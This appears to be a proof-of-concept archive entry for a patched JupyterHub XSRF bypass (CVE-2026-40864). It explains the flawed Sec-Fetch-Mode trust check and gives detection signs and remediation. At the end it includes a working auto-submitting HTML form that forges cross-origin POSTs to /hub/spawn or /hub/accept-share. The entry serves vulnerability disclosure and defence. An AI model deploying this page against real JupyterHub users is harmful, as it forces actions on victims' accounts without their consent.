PoC Archive PoC Archive
Medium CVE-2026-40864 (GHSA-m68r-v472-jgq9) patched

JupyterHub Cross-Origin Form POST XSRF Bypass (CVE-2026-40864)

by Romain Deperne · 2026-07-05

Severity
Medium
CVE
CVE-2026-40864 (GHSA-m68r-v472-jgq9)
Category
web
Affected product
JupyterHub
Affected versions
4.1.0 <= version < 5.4.5 (fixed in 5.4.5)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherRomain Deperne
CVE / AdvisoryCVE-2026-40864 (GHSA-m68r-v472-jgq9)
Categoryweb
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagsjupyterhub, csrf, xsrf-bypass, sec-fetch-mode, cwe-352, python, jupyter, session-hijack
RelatedN/A

Affected Target

FieldValue
Software / SystemJupyterHub
Versions Affected4.1.0 <= version < 5.4.5 (fixed in 5.4.5)
Language / PlatformHTML/JavaScript PoC against a Python (Tornado) web application
Authentication RequiredYes (victim must be an authenticated JupyterHub user)
Network Access RequiredYes

Summary

JupyterHub’s XSRF protection, reworked in 4.1.0, uses the browser-supplied Sec-Fetch-Mode header as an origin oracle to decide whether a request is same-origin and therefore exempt from token validation. The implementation incorrectly treats Sec-Fetch-Mode: no-cors as a same-origin signal, but browsers send exactly that mode for a plain cross-origin <form method="POST"> submission — the textbook CSRF vector the token exists to stop. As a result, the Hub’s HTML form endpoints (/hub/spawn and /hub/accept-share) can be forged from any external origin with no valid _xsrf token. The JSON API is unaffected because it requires a non-simple content type that forces a CORS preflight. The included PoC is a self-submitting HTML form that demonstrates the bypass against /hub/spawn.


Vulnerability Details

Root Cause

The XSRF check short-circuits to “trusted” whenever Sec-Fetch-Mode is no-cors, but no-cors does not imply same-origin — it is precisely the mode assigned to a simple cross-origin form POST, so the same-origin assumption underlying the check is unsound.

Attack Vector

  1. Attacker hosts an auto-submitting HTML page containing a hidden <form> targeting the victim’s JupyterHub instance (/hub/spawn or /hub/accept-share).
  2. Attacker lures a logged-in JupyterHub user into visiting the page.
  3. The browser issues the cross-origin POST with Sec-Fetch-Mode: no-cors; the victim’s session cookie is sent automatically.
  4. Vulnerable JupyterHub accepts the request without a valid _xsrf token, executing the action as the victim.

Impact

An attacker can force a victim to spawn their own single-user server without consent (resource abuse / unexpected state), or — for /hub/accept-share — force the victim to accept a share of the attacker’s server, which can be used to stage further social-engineering or data-exfiltration scenarios.


Environment / Lab Setup

Target:   JupyterHub 4.1.0 – 5.4.4 (self-hosted or containerized instance)
Attacker: Any static file host or local HTTP server to serve csrf_spawn.html; a browser session already authenticated to the target Hub

Proof of Concept

PoC Script

See csrf_spawn.html in this folder.

1
python3 -m http.server 8000   # serve csrf_spawn.html from an attacker-controlled origin

The page auto-submits a hidden form (with an empty _xsrf field) to the target Hub’s /hub/spawn endpoint the moment it loads. Because the browser sends Sec-Fetch-Mode: no-cors for this simple form POST, vulnerable JupyterHub builds treat it as same-origin and process the spawn request without a valid token. Editing the action attribute to /hub/accept-share demonstrates the share-acceptance variant.


Detection & Indicators of Compromise

Signs of compromise:

  • Server spawn events in JupyterHub audit logs with no corresponding user-initiated UI action
  • Unexpected accept-share events granting access to servers the victim did not intend to use
  • Requests to /hub/spawn or /hub/accept-share carrying Sec-Fetch-Mode: no-cors and a foreign Origin/Referer

Remediation

ActionDetail
Primary fixUpgrade to JupyterHub 5.4.5 or later, which no longer trusts no-cors as a same-origin indicator
Interim mitigationAt the reverse proxy in front of JupyterHub, drop requests carrying Sec-Fetch-Mode: no-cors to the Hub’s form endpoints

References


Notes

Mirrored from https://github.com/romain-deperne/CVE-2026-40864 on 2026-07-05.

csrf_spawn.html
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!--
PoC: CVE-2026-40864 — JupyterHub cross-origin form POST bypasses XSRF protection
================================================================================
Host this page on an attacker-controlled origin and get a logged-in JupyterHub
user to open it. The auto-submitting form below issues a cross-origin POST to
/hub/spawn. Because it is a "simple" form submission, the browser sends it with
Sec-Fetch-Mode: no-cors — which vulnerable JupyterHub (4.1.0 .. < 5.4.5) wrongly
treats as same-origin, skipping the XSRF check. The victim's server is spawned
without their consent.

Swap the action for /hub/accept-share to force-accept a share of the attacker's
server (the higher-impact variant when the attacker is a permitted sharer).

Affected: JupyterHub 4.1.0 <= version < 5.4.5   |   Fixed in 5.4.5
Mitigation: at the reverse proxy, drop requests with Sec-Fetch-Mode: no-cors.
-->
<!doctype html>
<html>
  <body onload="document.forms[0].submit()">
    <!-- target the victim's JupyterHub origin -->
    <form action="https://TARGET-JUPYTERHUB/hub/spawn" method="POST">
      <!-- no XSRF token included on purpose; vulnerable builds accept it anyway -->
      <input type="hidden" name="_xsrf" value="">
    </form>
    <p>If you can read this, the cross-origin POST was already sent.</p>
  </body>
</html>